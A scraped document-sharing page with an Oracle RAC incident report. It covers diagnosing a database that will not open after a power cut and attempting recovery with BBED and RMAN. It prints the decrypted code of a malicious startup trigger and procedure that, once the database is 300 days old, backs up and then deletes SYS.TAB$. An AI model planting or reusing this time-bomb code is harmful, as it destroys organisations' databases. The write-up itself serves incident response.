


版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、DBMS_SUPPORT_DBMMONITOR触发器导致RAC重启无法启动问题处理-数据库节点68.105.245.11 stxckydb168.105.245.12 stxckydb2-故障现象2020年1月11日(周六)机房断电后,数据库无法正常启动,具体故障如下:SQL> alter database open;alter database open*ERROR at line 1:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00
2、704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 20, , , , , , , , Process ID: 67649Session ID: 901 Serial number: 119gridstxckydb1 $ srvctl start database -d xcky;PRCR-1079 : Failed to start resource ora.xcky.dbCRS-5017: The resource action "ora.xcky.db sta
3、rt" encountered the following error:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 20, , , , , , , , , Process ID: 26030Session ID: 881 Serial number: 1. F
4、or details refer to "(:CLSN00107:)" in "/u01/app/11.2.0.4/grid/log/stxckydb1/agent/crsd/oraagent_oracle/oraagent_oracle.log".CRS-2674: Start of 'ora.xcky.db' on 'stxckydb1' failedCRS-5017: The resource action "ora.xcky.db start" encountered the following
5、 error:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 20, , , , , , , , , Process ID: 29933Session ID: 881 Serial number: 1. For details refer to "(:CLSN00
6、107:)" in "/u01/app/11.2.0.4/grid/log/stxckydb2/agent/crsd/oraagent_oracle/oraagent_oracle.log".CRS-2674: Start of 'ora.xcky.db' on 'stxckydb2' failedCRS-2632: There are no more servers to try to place resource 'ora.xcky.db' on that would satisfy its placement
7、policy-问题原因查找select object_name from dba_objects where object_type='TRIGGER' and owner='SYS' -通过这个语句查找一个异常触发器DBMS_SUPPORT_DBMMONITOR-触发器内容PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGERcreate or replace trigger DBMS_SUPPORT_DBMONITORafter startup on databasedeclarebegin DBMS_SUPPORT_DBM
8、ONITORPend;-DBMS_SUPPORT_DBMMONITORP存储过程内容PROCEDURE DBMS_SUPPORT_DBMONITORP ISDATE1 INT :=10;BEGINSELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THENEXECUTE IMMEDIATE 'create table ORACHK'|SUBSTR(SYS_GUID,10)|' tablespace system as select * from sys.tab$
9、39;DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint'END IF;END;这个触发器执行的是前面的加密代码,存储过程,这个存储过程解密后的代码如上,其代码逻辑就是,判断数据库的创建时间大于 300 天,然后创建一个备份表,备份 tab$ 内容之后,清空 TAB$ 表。-问题处理过程1、启用10046跟踪一下问题的出现位置startup mount;alter session set tracefile_identifier='maihuajin'alter session se
10、t events '10046 trace name context forever,level 12'alter database open;alter session set events '10046 trace name context off'-根据trace记录查出损坏的对象select object_name from dba_objects where object_id=20;ICOL$-参照网上资料文档,计划通过BBED工具修改system数据文件-备份参数文件和控制文件create pfile='/home/oracle/pfile
11、20200113.ora' from spfile;alter database backup controlfile to trace as '/home/oracle/control_rebuidnew.trc'-配置BBED工具-在9i/10g连接生成bbed:cd $ORACLE_HOME/rdbms/libmake -f ins_rdbms.mk $ORACLE_HOME/rdbms/lib/bbed-把BBED移植到环境中去scp -P 10022 /u01/app/oracle/product/10.2.0/db_1/rdbms/lib/'ssbb
12、ded.o','sbbdpt.o' root68.105.245.11:/u01/app/oracle/product/11.2.0.4/dbhome_1/rdbms/libscp -P 10022 /u01/app/oracle/product/10.2.0/db_1/rdbms/mesg/'bbedus.msb','bbedus.msg','bbedzhs.msb' oracle68.105.245.11:/u01/app/oracle/product/11.2.0.4/dbhome_1/mesg-相应修改对应属主ch
13、own oracle:oinstall ssbbded.ochown oracle:oinstall sbbdpt.ochown -R oracle:oinstall bbedus.msbchown -R oracle:oinstall bbedus.msgchown -R oracle:oinstall bbedzhs.msb-生成BBED执行文件make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk BBED=$ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed-BBED默认密码 blockedit-确定数据库open需要访
14、问哪些核心基表,获取BBED修改语句找到同样环境的数据库(数据库),新建数据库实例,做open时的10046,过程如下:1、启用10046跟踪一下问题的出现位置startup mount;alter session set tracefile_identifier='maihuajin'alter session set events '10046 trace name context forever,level 12'alter database open;alter session set events '10046 trace name conte
15、xt off'2、简单的对10046 trace文件进行筛选则可以找到这些基表的obj#,并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息(1)oracletest $grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/stxcky/stxcky1/trace/stxcky1_ora_18897_maihuajin.trc|awk 'print$7'|sort|uniq|sed 's/obj=/,/'|awk 'printf $1'|sed 's/,
16、/'(2)SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_IDFROM TAB$ a,obj$ b WHERE a.obj#=b.obj#AND A.OBJ# IN (14,15,151,16,168,17,171,177,178,18,180,19,198,20,202,205,21,22,237,253,255,262,31,32,326,328,330,364,367
17、8,369,371,4,4209,42280,438,4570,4580,4582,4588,4593,460,4787,5,56,57,571,606,610,63,68,69,70,706,708,71,710,73,732,737,74,740,7496,75,76,800,801,802,81,83,84,85,86,87,891,9183,92,93,96,98)order by 6,7;(3)SELECT DISTINCT'copy file 2 block '|block_id|' to file '|FILE_ID|' block
18、9;|BLOCK_ID FROM(SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_IDFROM TAB$ a,obj$ b WHERE a.obj#=b.obj# AND A.OBJ# IN (14,15,151,16,168,17,171,177,178,18,180,19,198,20,202,205,21,22,237,253,255,262,31,32,326,328,33
19、0,364,3678,369,371,4,4209,42280,438,4570,4580,4582,4588,4593,460,4787,5,56,57,571,606,610,63,68,69,70,706,708,71,710,73,732,737,74,740,7496,75,76,800,801,802,81,83,84,85,86,87,891,9183,92,93,96,98);(4)获取bbed修改语句:copy file 2 block 156 to file 1 block 156copy file 2 block 160 to file 1 block 160copy f
20、ile 2 block 3339 to file 1 block 3339.(省略)3、把环境新创建的实例中的system数据文件和环境中的system数据文件分表拷贝到数据库节点1(stxckydb1)文件系统上,(1)、构建bbed parfile文件-/home/oracle/bbed.parblocksize=8192listfile=/home/oracle/filelist.txtmode=edit-filelist.txt文件内容gridstxckydb1 oracle$ cat filelist.txt 1 /home/grid/stsystembackup/SYSTEM.25
21、6.1001244551 -数据库拷贝(从ASM文件系统拷贝出来)2 /home/grid/SYSTEM.2606.1029669003 -数据库拷贝(2)、使用bbed工具执行相应命令cd $ORACLE_HOME/bin./bbed parfile=/home/oracle/bbed.paroraclestxckydb1 bin$ ./bbed parfile=/home/oracle/bbed.parPassword: BBED: Release 2.0.0.0.0 - Limited Production on Wed Jan 15 11:14:35 2020Copyright (c)
22、 1982, 2011, Oracle and/or its affiliates. All rights reserved.* ! For Oracle Internal Use only ! *BBED> info File# Name Size(blks) - - - 1 /home/grid/stsystembackup/SYSTEM.256.1001244551 0 2 /home/grid/SYSTEM.2606.1029669003 0BBED> copy file 2 block 156 to file 1 block 156.(省略)(3)把bbed修改的文件复制
23、会ASMASMCMD>rm SYSTEM.256.1001244551ASMCMD>cp /home/grid/stsystembackup/SYSTEM.256.1001244551 +data/xcky/datafile/SYSTEM.256.1001244551_mai -数据文件后带数字无法复制-到asmcmd命令窗口中重命名文件名称(不成功)rman>catalog start with '+data/xcky/datafile'rman>run set newname for datafile 1 to '+data/xcky/dat
24、afile/SYSTEM.256.1001244551'switch datafile 1;-重建控制文件,并修改控制文件对应的system数据文件名称为新名称(SYSTEM.256.1001244551_mai)-修改集群模式alter system set cluster_database=FALSE scope=spfile sid='*'-执行重建控制文件脚本/home/oracle/controlfile_rebuild.txt(4)、打开数据库sql>alter databse mount;sql>alter database open;alte
25、r database open*ERROR at line 1:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 4, , , , , , , , Process ID: 15751Session ID: 781Serial number: 3用BBED工具恢复失败,重新计划
26、从Rman备份进行数据库恢复。-用rman恢复system数据文件-恢复控制文件restore controlfile from '/backup/ctl_20200110_0juljafc_1_1.rman'-恢复datafile 1RMAN>start mount;runrestore datafile 1;recover datafile 1;recover datafile 1;报错,恢复失败-用rman恢复全库(database)-全库恢复/home/oracle/restore.rcvrunallocate channel c1 device type disk;allocate channel c2 device type disk;restore database;recover database;release channel c1;release channel c2;-封装全库恢复脚本/home/oracle/recover.shsu - oracle
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 医院职业病防控培训体系
- 《优化整体市场战略》课件
- 《家庭教育指导》课件
- 转让露营设备合同协议
- 有奖举报协议书
- 消杀委托协议书
- 浙江小学三年级上册数学应用题100道及答案
- 中药煎药知识培训课件
- 滑板合作协议书
- 辣白菜购销合同协议
- 静脉用药混合调配操作
- 2025工厂员工安全培训考试试题及一套答案
- 防爆机器人知识培训课件
- 校园防性侵安全管理制度
- 2025年度专业技术人员继续教育公需科目考试题(附答案)
- 8《我是排队小标兵》教学设计+教学设计-2023-2024学年心理健康一年级下册(教科版)
- 第6课 我国国家机构(教学设计)2023-2024学年八年级道德与法治下册同步教学(河北专版)
- 办公室消防知识培训课件
- 应急物资储备管理制度
- 公司纪检监察工作制度
- 针刺伤防护考试题及答案
评论
0/150
提交评论